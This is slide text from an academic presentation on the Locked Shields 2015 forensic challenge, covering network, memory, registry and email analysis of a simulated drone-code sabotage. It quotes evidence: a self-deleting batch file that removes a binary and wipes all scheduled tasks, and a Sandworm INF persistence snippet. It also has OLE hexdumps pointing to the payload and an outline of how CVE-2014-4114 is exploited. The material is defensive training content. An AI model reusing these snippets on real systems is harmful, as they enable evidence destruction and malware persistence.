2015 Forensic Challenge Nino Vincenzo Verde

2015 Forensic Challenge
Nino Vincenzo Verde, PhD Antonio Villani, PhD
{verde,villani}@di.uniroma1.it
Dipartimento di Informatica
Università di Roma "La Sapienza"
113 Via Salaria, 00198 Roma, ITALY
Dipartimento di Informatica della Facoltà di Ingegneria
dell'Informazione, Informatica e Statistica
dell’Università degli Studi di Roma “La Sapienza”
Info: [email protected]
Aree tematiche principali
●
Computer Security and Computer Forensics
●
Malware Analysis and Investigation
●
Mobile Device Forensics
●
Live Data Forensics
●
Money Laundering Investigations
●
Criminal profiling and crime investigations
●
Risk analysis for reputation preservation
●
Big Data e Data Mining
●
Enterprise Reputation and Risk Management
Outline

(Brief) Overview on the Locked Shields (LS)

LS 2015 Forensic Challenge

Investigative process

Findings

Conclusion
Locked Shields

“Live­fire” cyber defence action

Blue vs Red
–
Blue teams have to protect their own virtual network (that counts around 50­60 VMs).
•
•
–
17 blue teams in 2015
Blue teams have also a “Legal Team” and a “Forensic Team”
Red team performs the attacks against all the Blue Teams following a white­box approach

White Team

Green Team
LS15 ­ Forensic Challenge


The goal the Forensic Challenge is to test the Blue Team’ ability to react under time and resource constrained conditions by modeling a realistic threat source and contingencies and provide the opportunity to learn new tools or methods Forensics challenge will encompass offline and live response, acquisition and analysis part, host and network investigation as well
LS 2015 forensics challenge Inject
Today (April 22nd), at 06:00Z (09:00
GMT+3) one of the Berylian Armed
Forces drones crashed causing multiple
dead casualties. Preliminary scene report
indicates that the drone fuel control
module has failed.
The RRT team is tasked to conduct digital
forensic
investigation
on
Laura
McCarthy’s laptop. She is a developer in
the Berylian Armed Forces Primary Drone
Control facility (PRIME) and was
responsible for drone fuel control module
source code.
LS 2015 forensics challenge –
Additional Information
Developers Unit

Laura McCarthy

Ann Cantrell

John Sparrow

Mark Spencer
Deadline for the new source code was 3rd of
APRIL 2015.
LS 2015 forensics challenge evidence

Two types of evidence

3GB of randomly recorded network traffic from a
developer’s sub-net.

Remote access to Laura’s laptop
LS 2015 forensics challenge tasks

The task is to provide two reports, and collaborate with
the legal team.

Preliminary Forensic Report (end of the first day)
•
Answer to a set of questions
–
–
–
–

IP addresses of the people involved
Are any of the connections to/from Laura’s laptop suspicious?
Why? Provide IPs and ports?
How was the attack delivered? Provide name of the program
that was used to deliver compromised file, name of the
compromised file and the vulnerability that was used to
compromise machine.
...
Final Forensic Report (end of the second day)
Where to start?


PCAP file

3GB of traffic collected on April 3rd

~10 minutes required to load the file into Wireshark
Laura's laptop

Memory?

Disk?

Registry?

...
Our Strategy
1. Analyze the network traffic
2. Dump and analyze volatile data
3. Dump and analyze Non-volatile data

Windows Registry

“Fast-to-collect” information




$mft
$logfile
Autorun processes
Make a forensic copy of Laura's Disk
THE INVESTIGATIVE PROCESS
1. Network Traffic Analysis
TCP
Find Beacons
HTTP
PCAP
Find user Agents
Find Interesting Files
Manual Analysis
Results
2. Volatile Data
Volatility (see cheatsheet)
Cmdscan, console
Connscan, sockscan
Tr3secure.bat
Mem Aquisition
Memory dumps
Saved on disk
Timeline
(shellbags, mftparser, timeliner)
pslist
clipboard
psscan
messagehooks
pstree
strings
procmemdump
procexedump
malfind
mactime
splunk
3. Non Volatile Data
Tr3secure.bat
Registry
SAM
SOFTWARE
RegRipper
Registry Back.
SYSTEM
autoruns
SECURITY
Sched. tasks
NTUSER.DAT
Mail
Live Disk Image
FTK Imager
Output
SMB share
Thunderbird
Cuckoo
ewfmount
Suspect Files
Virus Total
Autopsy
FINDINGS
Network traffic analysis beacons
We identified a suspicious traffic similar to the
Windows Media Player traffic


Every twenty minutes it generated an HTTP GET
and it used a protocol called SSDP
The SSDP protocol can discover Plug & Play
devices, with uPnP (Universal Plug and Play).
SSDP uses unicast and multicast adress
(239.255.255.250).
Network traffic analysis –
challenges and first results



PCAP file very large
Needed to split it into smaller files and analyze them
independently

Filtered by host: we discovered that IP 10.10.0.21 is Laura by
looking at the smb2 protocol

See smb2 traffic with wireshark
Search interesting files among the Laura's network traffic

Windows Exe: 'frame contains 4d:5a:50:00' or 'frame contains

dll: 'frame contains 4d:5a:90:00'

ELF: 'frame contains 7f:45:4c:46'
Network traffic analysis – looking
more in depth




Search by keywords

frame contains fuel

Something weird happened on April 3rd, 1351Z
The IP address of Laura (10.10.0.21) starts a SMB2
communication with the IP address 10.10.0.11.
The IP 10.10.0.21 accesses to a shared folder on the IP
10.10.0.11 called \\10.10.0.11\share
In the same SMB session two files have been read:
–
1.bat
–
FUEL_FINAL.txt
Phase 1 – network traffic analysis

File 1.bat

Del "c:\ProgramFiles\VMware\vmtoolsc.exe"

Timeout /t 2

Schtasks /delete /tn * /f

Timeout /t 2

Start /b "" cmd /c del "%~f0" & exit /b
File FUEL_FINAL.txt
The network traffic reports that the file on the
shared folder has been modified before Apr
2nd, 2015 05:39:26 UTC
File FUEL_FINAL.txt

A file with the same name has been found in two
places

on the drive of Laura’s

attached to an email sent from Laura to Mark Spencer
on April 1st 1335Z
Memory analysis
●
The analysis of the running processes did not reveal anything suspicious
procdump, pstree, psaux,malfind,procmemdump,….
●
We decided to analyze others memory-resident artifacts, related to the
timeline, through the following plugins:
timeliner: extracts temporal artifacts from memory samples
mftparser: extracts Master File Table (MFT) entries from memory samples by
scanning the physical address space
–
If a file < 700 bytes its entire content can be recovered from the MFT
shellbags:collection of registry keys that allow the “Windows operating system
to track user window viewing preferences specific to Windows Explorer”
●
Mactime: creates an ASCII timeline of file activity
MAC analysis of the tampered file
NTFS flags:
m – file modified
a – accessed
c – mft modified
b - created
Connect IP addresses with people
involved
Email headers!
–
Laura McCarthy’s – 10.10.0.21
–
Mark Spencer’s – 10.10.0.11
–
John Sparrow’s – 10.10.0.14
–
Ann Cantrell’s – 10.10.0.19
Received: from [10.10.0.14] (unknown [10.10.0.14])
by mail.droneworld.com (Postfix) with ESMTPSA id C2AABFF82B
for <[email protected]>; Wed, 25 Mar 2015 11:16:29 +0200
(EET)
Date: Wed, 25 Mar 2015 02:17:07 -0700
From: "John Sparrow" <[email protected]>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0)
Gecko/20100101 Thunderbird/31.5.0
To: [email protected]
Subject: Source Code - Steering and fuel
Mail Analysis
Time
Description
2015.03.25 09:10
Laura requests the backup of the drone source code to John
Sparrow since she could no longer find the code
2015.03.25 09:17
Sparrow answers via email to the request of Laura. The
source code is attached to the email as file fuel.pde. The
attached source code is correct, it does not contain errors or
tampering.
...
...
2015.04.01 13:35
Laura sends to Mark Spencer the drone source code by email.
The attached source code is correct, it does not contain errors
or tampering.
2015.04.01 13:41
Mark answers to Laura. He says that he will review the code in
the evening and let her now as soon as possible.
Mail Analysis
2015.04.03 06:33
Mark answers to the review request of Laura. He says that he
checked the source code and it looks perfect. MARK does not
send the source code, as the code in possession of Laura is
already correct.
2015.04.03 06:38
The boss informs Laura, Ann, John, and Mark that the
deadline has been postponed till Apr 03, 19.00 because
serious technical problems. He asks for the source code again
to make sure that everything is in order.
2015.04.03 13:58
Laura sends to her Boss the drone source code by email. The
attached source code has been already tampered with, and is
modified to bring down the drone.
2015.04.03 15:00
The boss sends a mail to the group to thank them for sending
him all the drone source code.
Registry Analysis

On April 3rd, 13:51Z, someone tried to hide its traces:


He executed the file 1.bat that deleted the file
"c:\ProgramFiles\VMware\vmtoolsc.exe", cleaned the task
scheduler and then deleted itself
We analyzed the registry more in depth:
The following key shows that the file has been executed:
Microsoft\Windows\CurrentVersion\Run
LastWrite Time Wed Apr
1 11:03:42 2015 (UTC)
vmtoolsc - C:\Program Files\VMware\vmtoolsc.exe
Application Compatibility Cache
Evidence of the execution of the file vmtoolsc.exe is in the registry key
AppCompatCache key.
The output of the script ShimCacheParser.py is reported below:
Last Modified, Last Update, Path, File Size, Exec Flag
...
Nov 20 2010 21:29:06, N/A, C:\Windows\system32\runonce.exe,
N/A, True
Apr 1 2015 11:03:16, N/A, C:\Program
Files\VMware\vmtoolsc.exe, N/A, True
Jul 14 2009 01:14:44, N/A, C:\Windows\system32\WerFault.exe,
N/A, True
...
Apr 1 2015 11:03:16
What happened before?
Software\Microsoft\Windows\CurrentVers
ion\Explorer\RecentDocs\.ppsx
LastWrite Time Wed Apr 1 11:02:17 2015
(UTC)
MRUListEx = 1,0
1 = droneCopenhagen.ppsx
0 = Overview_Mark.ppsx
Let's have a look to the timeline
Let's look at Splunk!
NTFS flags:
m – file modified
a – accessed
c – mft modified
b - created
Found! droneCopenhagen.ppsx
was attached to an email!!!
Time
Description
2015.03.25 09:10
Laura requests the backup of the drone source code to John
Sparrow since she could no longer find the code
2015.03.25 09:17
Sparrow answers via email to the request of Laura. The
source code is attached to the email as file fuel.pde. The
attached source code is correct, it does not contain errors or
tampering.
2015.04.01 10:58
Mark Spencer sends to Laura an email with a powerpoint
presentation in attachment (droneCopenhagen.ppsx). The
presentation contains a malware called “Sandwarm”. In
particular, it leverages on the following vulnerabilities:
CVE-2014-4114, CVE-2014-6352
2015.04.01 13:35
Laura sends to Mark Spencer the drone source code by email.
The attached source code is correct, it does not contain errors
or tampering.
2015.04.01 13:41
Mark answers to Laura. He says that he will review the code in
the evening and let her now as soon as possible.
Let's have a look to this ppsx
●
●
We tried to perform dynamic analysis it through
cuckoo sandbox...nothing interesting from there
We analyzed the ppsx manually
●
ppsx are zip files so they can be decompress them
●
Looking for something strange…
●
Two OLE objects (ppt/embeddings):
●
oleObject1.bin
●
oleObject2.bin
Suspicious OLE objects
$ hexdump -C oleObject1.bin | tail -n 9
00000610 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000800 33 00 00 00 45 6d 62 65 64 64 65 64 53 74 67 31
00000810 2e 74 78 74 00 5c 5c 31 30 2e 31 30 2e 30 2e 31
00000820 31 5c 73 68 61 72 65 5c 76 6d 74 6f 6f 6c 73 63
00000830 2e 67 69 66 00 00 00 00 00 00 00 00 00 00 00 00
00000840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
00000a02
|3...EmbeddedStg1|
|.txt.\\10.10.0.1
|
|1\share\vmtoolsc |
|.gif............|
|................|
$ hexdump -C oleObject2.bin | tail -n 9
00000610 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000800 33 00 00 00 45 6d 62 65 64 64 65 64 53 74 67 32
00000810 2e 74 78 74 00 5c 5c 31 30 2e 31 30 2e 30 2e 31
00000820 31 5c 73 68 61 72 65 5c 76 6d 74 6f 6f 6c 73 63
00000830 2e 69 6e 66 00 00 00 00 00 00 00 00 00 00 00 00
00000840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
00000a02
|3...EmbeddedStg2|
|.txt.\\10.10.0.1|
|1\share\vmtoolsc|
|.inf............|
|................|
slide2.xml.rels
How the infection took place
●
●
INF files can be used for installation-oriented tasks
such as moving files (optionally renaming them), and
setting entries in the registry
Metasploit Module:
exploit/windows/fileformat/ms14_060_sandworm
●
Drops 3 files:
–
msf.ppsx (Power point presentation file)
–
DuvX.gif (Portable Executable): it contains the actual payload
–
BhuX.inf (INF file): it is used to run the payload through
C:\Windows\System32\infDefaultInstall.exe
Sandworm
Used in Russian cyber-espionage campaign
targeting
NATO,
European
Union,
Telecommunications and Energy sectors
BhuX.inf
[Version]
...
DriverVer=06/21/2006,6.1.7600.16385
...
[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart
[RxRename]
DUvX.gif.exe, DUvX.gif
[RxStart]#
HKLM,Software\Microsoft\Windows\CurrentVersion\RunO
nce,Install,,%1%\DUvX.gif.exe
CVE-2014-4114
●
●
The vulnerability could allow remote code execution if a user opens a
Microsoft Office file that contains a specially crafted OLE object
The packager treats OLE as media file, and load it with the packager
that download it, save it in a temp folder.
●
The exploit performs two steps:
1) fake gif file that's actually the payload (EXE)
2) an INF file
●
The packager look at the cmd and type properties of the OLE object's
XML Presentation Command
●
●
"verb" media command type is used, and this triggers the packager!
CPackage::DoVerb function.
When "3" is used (again, for the INF file), it will cause the packager to try to
find appropriate handler for it (C:\Windows\System32\infDefaultInstall.exe)
vmtoolsc in the timeline
VirusTotal result
Dump Memory Analysis
Nothing interesting in memory?!
Let's try with the crash dump!
Analysis of the memory dump
Analysis of the file C:\Windows\MEMORY.DMP
The memory dump file has the following properties:
File: ‘/mnt/ws06/Windows/MEMORY.DMP’
Size: 2147052817 Blocks: 4193464
Device: 700h/1792d Inode: 42677
Access: (0777/-rwxrwxrwx)
root)
Uid: (
IO Block: 4096
Links: 1
0/
root)
Access: 2015-02-20 19:49:25.497636800 +0000
Modify: 2015-04-03 14:30:02.824021600 +0000
Change: 2015-04-03 14:30:02.824021600 +0000
Birth: -
regular file
Gid: (
0/
Analysis of the memory dump
Analysis of the C:\Windows\MEMORY.DMP file with volatility
The executable vmtoolsc.exe is in memory. It has the PID
2620.
It is child of the process explorer.exe (PID 2520)
The process used the UDP protocol to communicate.
We dumped the memory of the malicious process (PID 2620)
vol.py -f /mnt/ws06/Windows/MEMORY.DMP
--profile=Win7SP0x86 memdump -p 2620 -D memdumps
Analysis of the memory dump
Running the string commands we found that the following file names were mapped by
the process 2620
Confidential_Drones_Stanford-NYU.pdf
2C:\Work\Documents\Confidential_Drones_Al-Qaida.pdf
Confidential_Drones.pdf
Confidential_Drones_Al-Qaida.pdf
-Confidential_Drones_Questions_and_Answers.pdf
$Confidential_Drones_Stanford-NYU.pdf
Confidential_Drones.pdf
Confidential_Drones_Al-Qaida.pdf
-Confidential_Drones_Questions_and_Answers.pdf
$Confidential_Drones_Stanford-NYU.pdf
Analysis of the memory dump
We also found that the process used the following http
requests to communicate.
Location:http://10.10.0.11:2869/upnphost/udhisapi.dll?
content=uuid:4f05409f-ad5c-402d-9dcc-b41386b0b0f1
It is related to the protocol SSDP.
The pcap analysis shows that the protocol SSDP involves
also the IPv4 address 10.10.0.14 and three other IPv6
addresses. Further analysis has to be conducted to be
sure that those IP addresses are not compromised.
Locked Shields 2015: Forensics Challenge results
I Master del Dipartimento di Informatica
24/06/15
Locked Shields 2015: Overall Score
I Master del Dipartimento di Informatica
24/06/15
Dipartimento di Informatica della Facoltà di Ingegneria
dell'Informazione, Informatica e Statistica
dell’Università degli Studi di Roma “La Sapienza”
Info: [email protected]